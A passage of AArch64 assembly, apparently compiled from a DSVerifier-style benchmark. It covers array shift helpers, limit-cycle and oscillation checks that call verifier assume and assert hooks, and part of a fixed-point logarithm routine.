add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 56]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 92]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 124]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 32]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 100]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 104]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 128]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L406:
ldr w0, [sp, 36]
cmp w0, 0
bgt .L407
ldr x0, [sp, 16]
ldr d0, [sp, 24]
str d0, [x0]
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 48]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
lsl w0, w0, 1
mov w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 84]
mov w0, w1
lsl w0, w0, 2
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 44]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w2, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w1, [x0, 40]
mov w0, w1
lsl w0, w0, 1
add w0, w0, w1
add w1, w2, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 116]
lsl w0, w0, 1
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 120]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 120]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 36]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 28]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 124]
add w1, w1, w0
adrp x0, :got:hw
ldr x0, [x0, #:got_lo12:hw]
ldr w0, [x0, 76]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
ldr w0, [x0]
add w1, w1, w0
adrp x0, generic_timer
add x0, x0, :lo12:generic_timer
str w1, [x0]
ldr d0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE65:
.size generic_timing_shift_r_double, .-generic_timing_shift_r_double
.align 2
.global shiftL
.type shiftL, %function
shiftL:
.LFB66:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldr x0, [sp, 16]
ldr x0, [x0]
str x0, [sp, 40]
str wzr, [sp, 36]
b .L410
.L411:
ldrsw x0, [sp, 36]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L410:
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 36]
cmp w1, w0
blt .L411
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr x1, [sp, 24]
str x1, [x0]
ldr x0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE66:
.size shiftL, .-shiftL
.align 2
.global shiftR
.type shiftR, %function
shiftR:
.LFB67:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 24]
str x1, [sp, 16]
str w2, [sp, 12]
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr x0, [x0]
str x0, [sp, 40]
ldr w0, [sp, 12]
sub w0, w0, #1
str w0, [sp, 36]
b .L414
.L415:
ldrsw x0, [sp, 36]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L414:
ldr w0, [sp, 36]
cmp w0, 0
bgt .L415
ldr x0, [sp, 16]
ldr x1, [sp, 24]
str x1, [x0]
ldr x0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE67:
.size shiftR, .-shiftR
.align 2
.global shiftLfloat
.type shiftLfloat, %function
shiftLfloat:
.LFB68:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
str x0, [sp]
str w1, [sp, 8]
ldr x0, [sp]
ldr s0, [x0]
str s0, [sp, 28]
str wzr, [sp, 24]
b .L418
.L419:
ldrsw x0, [sp, 24]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp]
add x1, x1, x0
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x2, [sp]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L418:
ldr w0, [sp, 8]
sub w0, w0, #1
ldr w1, [sp, 24]
cmp w1, w0
blt .L419
ldrsw x0, [sp, 8]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp]
add x0, x1, x0
ldr s0, [sp, 12]
str s0, [x0]
ldr s0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE68:
.size shiftLfloat, .-shiftLfloat
.align 2
.global shiftRfloat
.type shiftRfloat, %function
shiftRfloat:
.LFB69:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str s0, [sp, 12]
str x0, [sp]
str w1, [sp, 8]
ldrsw x0, [sp, 8]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp]
add x0, x1, x0
ldr s0, [x0]
str s0, [sp, 28]
ldr w0, [sp, 8]
sub w0, w0, #1
str w0, [sp, 24]
b .L422
.L423:
ldrsw x0, [sp, 24]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp]
add x1, x1, x0
ldrsw x0, [sp, 24]
lsl x0, x0, 2
ldr x2, [sp]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 24]
sub w0, w0, #1
str w0, [sp, 24]
.L422:
ldr w0, [sp, 24]
cmp w0, 0
bgt .L423
ldr x0, [sp]
ldr s0, [sp, 12]
str s0, [x0]
ldr s0, [sp, 28]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE69:
.size shiftRfloat, .-shiftRfloat
.align 2
.global shiftRDdouble
.type shiftRDdouble, %function
shiftRDdouble:
.LFB70:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, 24]
str x0, [sp, 16]
str w1, [sp, 12]
ldr x0, [sp, 16]
ldr d0, [x0]
str d0, [sp, 40]
str wzr, [sp, 36]
b .L426
.L427:
ldrsw x0, [sp, 36]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L426:
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 36]
cmp w1, w0
blt .L427
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr d0, [sp, 24]
str d0, [x0]
ldr d0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE70:
.size shiftRDdouble, .-shiftRDdouble
.align 2
.global shiftRdouble
.type shiftRdouble, %function
shiftRdouble:
.LFB71:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, 24]
str x0, [sp, 16]
str w1, [sp, 12]
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr d0, [x0]
str d0, [sp, 40]
ldr w0, [sp, 12]
sub w0, w0, #1
str w0, [sp, 36]
b .L430
.L431:
ldrsw x0, [sp, 36]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L430:
ldr w0, [sp, 36]
cmp w0, 0
bgt .L431
ldr x0, [sp, 16]
ldr d0, [sp, 24]
str d0, [x0]
ldr d0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE71:
.size shiftRdouble, .-shiftRdouble
.align 2
.global shiftLDouble
.type shiftLDouble, %function
shiftLDouble:
.LFB72:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str d0, [sp, 24]
str x0, [sp, 16]
str w1, [sp, 12]
ldr x0, [sp, 16]
ldr d0, [x0]
str d0, [sp, 40]
str wzr, [sp, 36]
b .L434
.L435:
ldrsw x0, [sp, 36]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x2, [sp, 16]
add x0, x2, x0
ldr d0, [x1]
str d0, [x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L434:
ldr w0, [sp, 12]
sub w0, w0, #1
ldr w1, [sp, 36]
cmp w1, w0
blt .L435
ldrsw x0, [sp, 12]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 16]
add x0, x1, x0
ldr d0, [sp, 24]
str d0, [x0]
ldr d0, [sp, 40]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE72:
.size shiftLDouble, .-shiftLDouble
.align 2
.global shiftLboth
.type shiftLboth, %function
shiftLboth:
.LFB73:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str s0, [sp, 28]
str x0, [sp, 16]
str x1, [sp, 8]
str x2, [sp]
str w3, [sp, 24]
ldr x0, [sp]
ldr x0, [x0]
str x0, [sp, 40]
ldr x0, [sp, 16]
ldr s0, [x0]
str s0, [sp, 36]
str wzr, [sp, 32]
b .L438
.L439:
ldrsw x0, [sp, 32]
add x0, x0, 1
lsl x0, x0, 3
ldr x1, [sp]
add x1, x1, x0
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x2, [sp]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldrsw x0, [sp, 32]
add x0, x0, 1
lsl x0, x0, 2
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 32]
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L438:
ldr w0, [sp, 24]
sub w0, w0, #1
ldr w1, [sp, 32]
cmp w1, w0
blt .L439
ldrsw x0, [sp, 24]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x0, x1, x0
ldr x1, [sp, 8]
str x1, [x0]
ldrsw x0, [sp, 24]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 16]
add x0, x1, x0
ldr s0, [sp, 28]
str s0, [x0]
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE73:
.size shiftLboth, .-shiftLboth
.align 2
.global shiftRboth
.type shiftRboth, %function
shiftRboth:
.LFB74:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str s0, [sp, 28]
str x0, [sp, 16]
str x1, [sp, 8]
str x2, [sp]
str w3, [sp, 24]
ldrsw x0, [sp, 24]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x0, x1, x0
ldr x0, [x0]
str x0, [sp, 40]
ldrsw x0, [sp, 24]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 16]
add x0, x1, x0
ldr s0, [x0]
str s0, [sp, 36]
ldr w0, [sp, 24]
sub w0, w0, #1
str w0, [sp, 32]
b .L441
.L442:
ldrsw x0, [sp, 32]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp]
add x1, x1, x0
ldrsw x0, [sp, 32]
lsl x0, x0, 3
ldr x2, [sp]
add x0, x2, x0
ldr x1, [x1]
str x1, [x0]
ldrsw x0, [sp, 32]
lsl x0, x0, 2
sub x0, x0, #4
ldr x1, [sp, 16]
add x1, x1, x0
ldrsw x0, [sp, 32]
lsl x0, x0, 2
ldr x2, [sp, 16]
add x0, x2, x0
ldr s0, [x1]
str s0, [x0]
ldr w0, [sp, 32]
sub w0, w0, #1
str w0, [sp, 32]
.L441:
ldr w0, [sp, 32]
cmp w0, 0
bgt .L442
ldr x0, [sp]
ldr x1, [sp, 8]
str x1, [x0]
ldr x0, [sp, 16]
ldr s0, [sp, 28]
str s0, [x0]
nop
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE74:
.size shiftRboth, .-shiftRboth
.align 2
.global order
.type order, %function
order:
.LFB75:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str w0, [sp, 12]
str w1, [sp, 8]
ldr w1, [sp, 12]
ldr w0, [sp, 8]
cmp w1, w0
ble .L444
ldr w0, [sp, 12]
sub w0, w0, #1
b .L446
.L444:
ldr w0, [sp, 8]
sub w0, w0, #1
.L446:
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE75:
.size order, .-order
.align 2
.global fxp_check_limit_cycle
.type fxp_check_limit_cycle, %function
fxp_check_limit_cycle:
.LFB76:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr x0, [x0]
str x0, [sp, 56]
str wzr, [sp, 36]
mov w0, 1
str w0, [sp, 40]
ldr w0, [sp, 20]
sub w0, w0, #2
str w0, [sp, 36]
b .L448
.L452:
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x0, [x0]
ldr x1, [sp, 56]
cmp x1, x0
beq .L459
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L448:
ldr w0, [sp, 36]
cmp w0, 0
bge .L452
b .L451
.L459:
nop
.L451:
ldr w1, [sp, 40]
ldr w0, [sp, 20]
cmp w1, w0
beq .L453
ldr w0, [sp, 40]
cmp w0, 1
beq .L453
mov w0, 1
b .L454
.L453:
mov w0, 0
.L454:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w1, [sp, 40]
adrp x0, .LC14
add x0, x0, :lo12:.LC14
bl printf
ldr w0, [sp, 40]
lsl w0, w0, 1
str w0, [sp, 48]
str wzr, [sp, 44]
ldr w0, [sp, 20]
sub w0, w0, #1
str w0, [sp, 36]
b .L455
.L458:
ldr w1, [sp, 20]
ldr w0, [sp, 40]
sub w0, w1, w0
ldr w1, [sp, 36]
cmp w1, w0
blt .L456
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x3, [x0]
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x0, [x0]
mov x2, x0
mov x1, x3
adrp x0, .LC15
add x0, x0, :lo12:.LC15
bl printf
ldr w1, [sp, 36]
ldr w0, [sp, 40]
sub w0, w1, w0
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
ble .L457
ldrsw x0, [sp, 36]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [x0]
ldr w2, [sp, 36]
ldr w0, [sp, 40]
sub w0, w2, w0
sxtw x0, w0
lsl x0, x0, 3
ldr x2, [sp, 24]
add x0, x2, x0
ldr x0, [x0]
cmp x1, x0
bne .L457
ldr w0, [sp, 44]
add w0, w0, 2
str w0, [sp, 44]
.L456:
ldr w0, [sp, 36]
sub w0, w0, #1
str w0, [sp, 36]
.L455:
ldr w0, [sp, 36]
cmp w0, 0
bge .L458
.L457:
ldr w0, [sp, 44]
cmp w0, 0
cset w0, gt
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w1, [sp, 48]
adrp x0, .LC16
add x0, x0, :lo12:.LC16
bl printf
ldr w1, [sp, 44]
adrp x0, .LC17
add x0, x0, :lo12:.LC17
bl printf
ldr w1, [sp, 44]
ldr w0, [sp, 48]
cmp w1, w0
cset w0, eq
and w0, w0, 255
bl __DSVERIFIER_assume
mov w0, 0
bl __DSVERIFIER_assert
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE76:
.size fxp_check_limit_cycle, .-fxp_check_limit_cycle
.align 2
.global fxp_check_persistent_limit_cycle
.type fxp_check_persistent_limit_cycle, %function
fxp_check_persistent_limit_cycle:
.LFB77:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
.cfi_def_cfa_register 29
stp x19, x20, [sp, 16]
stp x21, x22, [sp, 32]
stp x23, x24, [sp, 48]
stp x25, x26, [sp, 64]
str x27, [sp, 80]
sub sp, sp, #16
.cfi_offset 19, -160
.cfi_offset 20, -152
.cfi_offset 21, -144
.cfi_offset 22, -136
.cfi_offset 23, -128
.cfi_offset 24, -120
.cfi_offset 25, -112
.cfi_offset 26, -104
.cfi_offset 27, -96
str x0, [x29, 104]
str w1, [x29, 100]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 168]
mov x1, 0
mov x0, sp
mov x19, x0
str wzr, [x29, 128]
str wzr, [x29, 132]
str wzr, [x29, 136]
ldr x0, [x29, 104]
ldr x0, [x0]
str x0, [x29, 144]
str wzr, [x29, 128]
b .L461
.L466:
ldrsw x0, [x29, 128]
lsl x0, x0, 3
ldr x1, [x29, 104]
add x0, x1, x0
ldr x0, [x0]
ldr x1, [x29, 144]
cmp x1, x0
beq .L462
ldr w0, [x29, 136]
add w0, w0, 1
str w0, [x29, 136]
b .L463
.L462:
ldr w0, [x29, 136]
cmp w0, 0
bne .L482
ldr w0, [x29, 132]
add w0, w0, 1
str w0, [x29, 132]
.L463:
ldr w0, [x29, 128]
add w0, w0, 1
str w0, [x29, 128]
.L461:
ldr w1, [x29, 128]
ldr w0, [x29, 100]
cmp w1, w0
blt .L466
b .L465
.L482:
nop
.L465:
ldr w1, [x29, 136]
ldr w0, [x29, 132]
add w0, w1, w0
str w0, [x29, 136]
ldr w0, [x29, 136]
cmp w0, 1
ble .L467
ldr w0, [x29, 100]
lsr w1, w0, 31
add w0, w1, w0
asr w0, w0, 1
mov w1, w0
ldr w0, [x29, 136]
cmp w0, w1
bgt .L467
mov w0, 1
b .L468
.L467:
mov w0, 0
.L468:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr w0, [x29, 136]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 152]
sxtw x1, w0
mov x26, x1
mov x27, 0
lsr x1, x26, 58
lsl x23, x27, 6
orr x23, x1, x23
lsl x22, x26, 6
sxtw x1, w0
mov x24, x1
mov x25, 0
lsr x1, x24, 58
lsl x21, x25, 6
orr x21, x1, x21
lsl x20, x24, 6
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L469:
cmp sp, x1
beq .L470
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L469
.L470:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L471
str xzr, [sp, 1024]
.L471:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 160]
str wzr, [x29, 128]
b .L472
.L474:
ldr w1, [x29, 128]
ldr w0, [x29, 136]
cmp w1, w0
bge .L473
ldrsw x0, [x29, 128]
lsl x0, x0, 3
ldr x1, [x29, 104]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [x29, 160]
ldrsw x1, [x29, 128]
str x2, [x0, x1, lsl 3]
.L473:
ldr w0, [x29, 128]
add w0, w0, 1
str w0, [x29, 128]
.L472:
ldr w1, [x29, 128]
ldr w0, [x29, 100]
cmp w1, w0
blt .L474
str wzr, [x29, 128]
str wzr, [x29, 140]
strb wzr, [x29, 127]
b .L475
.L479:
ldr w0, [x29, 128]
add w1, w0, 1
str w1, [x29, 128]
sxtw x0, w0
lsl x0, x0, 3
ldr x1, [x29, 104]
add x0, x1, x0
ldr x1, [x0]
ldr w0, [x29, 140]
add w2, w0, 1
str w2, [x29, 140]
ldr x2, [x29, 160]
sxtw x0, w0
ldr x0, [x2, x0, lsl 3]
cmp x1, x0
bne .L476
mov w0, 1
strb w0, [x29, 127]
ldr w1, [x29, 140]
ldr w0, [x29, 136]
cmp w1, w0
bne .L475
b .L481
.L476:
strb wzr, [x29, 127]
b .L478
.L481:
str wzr, [x29, 140]
.L475:
ldr w1, [x29, 128]
ldr w0, [x29, 100]
cmp w1, w0
blt .L479
.L478:
ldrb w0, [x29, 127]
cmp w0, 0
cset w0, ne
and w0, w0, 255
eor w0, w0, 1
and w0, w0, 255
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assert
mov sp, x19
nop
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x2, [x29, 168]
ldr x1, [x0]
subs x2, x2, x1
mov x1, 0
beq .L480
bl __stack_chk_fail
.L480:
mov sp, x29
ldp x19, x20, [sp, 16]
ldp x21, x22, [sp, 32]
ldp x23, x24, [sp, 48]
ldp x25, x26, [sp, 64]
ldr x27, [sp, 80]
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa 31, 0
ret
.cfi_endproc
.LFE77:
.size fxp_check_persistent_limit_cycle, .-fxp_check_persistent_limit_cycle
.align 2
.global fxp_check_oscillations
.type fxp_check_oscillations, %function
fxp_check_oscillations:
.LFB78:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
ldr x0, [sp, 24]
ldr x1, [x0]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x2, [sp, 24]
add x0, x2, x0
ldr x0, [x0]
cmp x1, x0
beq .L484
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 20]
lsl x0, x0, 3
sub x0, x0, #16
ldr x2, [sp, 24]
add x0, x2, x0
ldr x0, [x0]
cmp x1, x0
beq .L484
mov w0, 1
b .L485
.L484:
mov w0, 0
.L485:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
str wzr, [sp, 40]
str wzr, [sp, 44]
mov w0, 2
str w0, [sp, 48]
b .L486
.L493:
ldr w0, [sp, 48]
str w0, [sp, 56]
str wzr, [sp, 52]
b .L487
.L492:
ldr w1, [sp, 40]
ldr w0, [sp, 56]
cmp w1, w0
ble .L488
str wzr, [sp, 40]
str wzr, [sp, 44]
.L488:
ldr w1, [sp, 52]
ldr w0, [sp, 56]
add w0, w1, w0
str w0, [sp, 60]
ldr w1, [sp, 60]
ldr w0, [sp, 20]
cmp w1, w0
bge .L494
ldrsw x0, [sp, 52]
lsl x0, x0, 3
ldr x1, [sp, 24]
add x0, x1, x0
ldr x1, [x0]
ldrsw x0, [sp, 60]
lsl x0, x0, 3
ldr x2, [sp, 24]
add x0, x2, x0
ldr x0, [x0]
cmp x1, x0
bne .L490
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
ldr w1, [sp, 44]
ldr w0, [sp, 56]
cmp w1, w0
cset w0, ne
and w0, w0, 255
bl __DSVERIFIER_assert
.L490:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
ldr w0, [sp, 52]
add w0, w0, 1
str w0, [sp, 52]
.L487:
ldr w1, [sp, 52]
ldr w0, [sp, 20]
cmp w1, w0
blt .L492
b .L491
.L494:
nop
.L491:
ldr w0, [sp, 48]
add w0, w0, 1
str w0, [sp, 48]
.L486:
ldr w1, [sp, 48]
ldr w0, [sp, 20]
cmp w1, w0
blt .L493
nop
nop
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE78:
.size fxp_check_oscillations, .-fxp_check_oscillations
.align 2
.global fxp_ln
.type fxp_ln, %function
fxp_ln:
.LFB79:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, 12]
mov w0, 26031
movk w0, 0xa, lsl 16
str w0, [sp, 24]
ldr w1, [sp, 12]
mov w0, 32767
cmp w1, w0
bgt .L496
ldr w0, [sp, 12]
lsl w0, w0, 16
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, 59615
movk w0, 0xfff4, lsl 16
add w0, w1, w0
str w0, [sp, 24]
.L496:
ldr w1, [sp, 12]
mov w0, 8388607
cmp w1, w0
bgt .L497
ldr w0, [sp, 12]
lsl w0, w0, 8
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, 29807
movk w0, 0xfffa, lsl 16
add w0, w1, w0
str w0, [sp, 24]
.L497:
ldr w1, [sp, 12]
mov w0, 134217727
cmp w1, w0
bgt .L498
ldr w0, [sp, 12]
lsl w0, w0, 4
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, 14904
movk w0, 0xfffd, lsl 16
add w0, w1, w0
str w0, [sp, 24]
.L498:
ldr w1, [sp, 12]
mov w0, 536870911
cmp w1, w0
bgt .L499
ldr w0, [sp, 12]
lsl w0, w0, 2
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, 40220
movk w0, 0xfffe, lsl 16
add w0, w1, w0
str w0, [sp, 24]
.L499:
ldr w1, [sp, 12]
mov w0, 1073741823
cmp w1, w0
bgt .L500
ldr w0, [sp, 12]
lsl w0, w0, 1
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, -45426
add w0, w1, w0
str w0, [sp, 24]
.L500:
ldr w0, [sp, 12]
asr w0, w0, 1
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L501
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, -26573
add w0, w1, w0
str w0, [sp, 24]
.L501:
ldr w0, [sp, 12]
asr w0, w0, 2
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L502
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, -14624
add w0, w1, w0
str w0, [sp, 24]
.L502:
ldr w0, [sp, 12]
asr w0, w0, 3
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L503
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w1, [sp, 24]
mov w0, -7719
add w0, w1, w0
str w0, [sp, 24]
.L503:
ldr w0, [sp, 12]
asr w0, w0, 4
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L504
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w0, [sp, 24]
sub w0, w0, #3973
str w0, [sp, 24]
.L504:
ldr w0, [sp, 12]
asr w0, w0, 5
ldr w1, [sp, 12]
add w0, w1, w0
str w0, [sp, 28]
ldr w0, [sp, 28]
cmp w0, 0
blt .L505
ldr w0, [sp, 28]
str w0, [sp, 12]
ldr w0, [sp, 24]
sub w0, w0, #2017
str w0, [sp, 24]
.L505:
